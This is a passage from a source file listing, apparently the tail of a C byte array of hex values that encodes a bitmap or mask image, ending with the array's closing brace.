0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00, 364 | 0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 365 | 0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe, 366 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00, 367 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff, 368 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00, 369 | 0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 370 | 0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc, 371 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00, 372 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff, 373 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0x00,0x00,0x00,0x00, 374 | 0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 375 | 0xff,0xff,0xff,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8, 376 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00, 377 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff, 378 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x00,0x00,0x00, 379 | 0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 380 | 0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0, 381 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00, 382 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff, 383 | 0xff,0xf7,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 384 | 0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xf3,0xff,0xff,0xff, 385 | 0xff,0xff,0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0, 386 | 0xff,0xff,0xff,0xff,0xff,0xff,0xf3,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00, 387 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff, 388 | 0xff,0xe1,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 389 | 0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xc1,0xff,0xff,0xff, 390 | 0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 391 | 0xfe,0xff,0xff,0xff,0xff,0xff,0x80,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00, 392 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff, 393 | 0x7f,0x00,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 394 | 0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0x3f,0x00,0xfe,0xff,0xff, 395 | 0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 396 | 0xf8,0xff,0xff,0xff,0xff,0x1f,0x00,0xfc,0xff,0xff,0xff,0xff,0x03,0x00,0x00, 397 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff, 398 | 0x0f,0x00,0xf0,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 399 | 0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0x07,0x00,0xc0,0xff,0xff, 400 | 0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 401 | 0xc0,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0xf8,0xff,0xff,0x3f,0x00,0x00,0x00, 402 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff, 403 | 0x01,0x00,0x00,0x00,0x80,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 404 | 0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0x7f,0x00,0x00,0x00,0x00,0x00, 405 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 406 | 0x00,0xe0,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 407 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0x00, 408 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 409 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 410 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 411 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 412 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 413 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 414 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 415 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 416 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 417 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 418 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 419 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 420 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 421 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 422 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 423 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 424 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 425 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; 426 | --------------------------------------------------------------------------------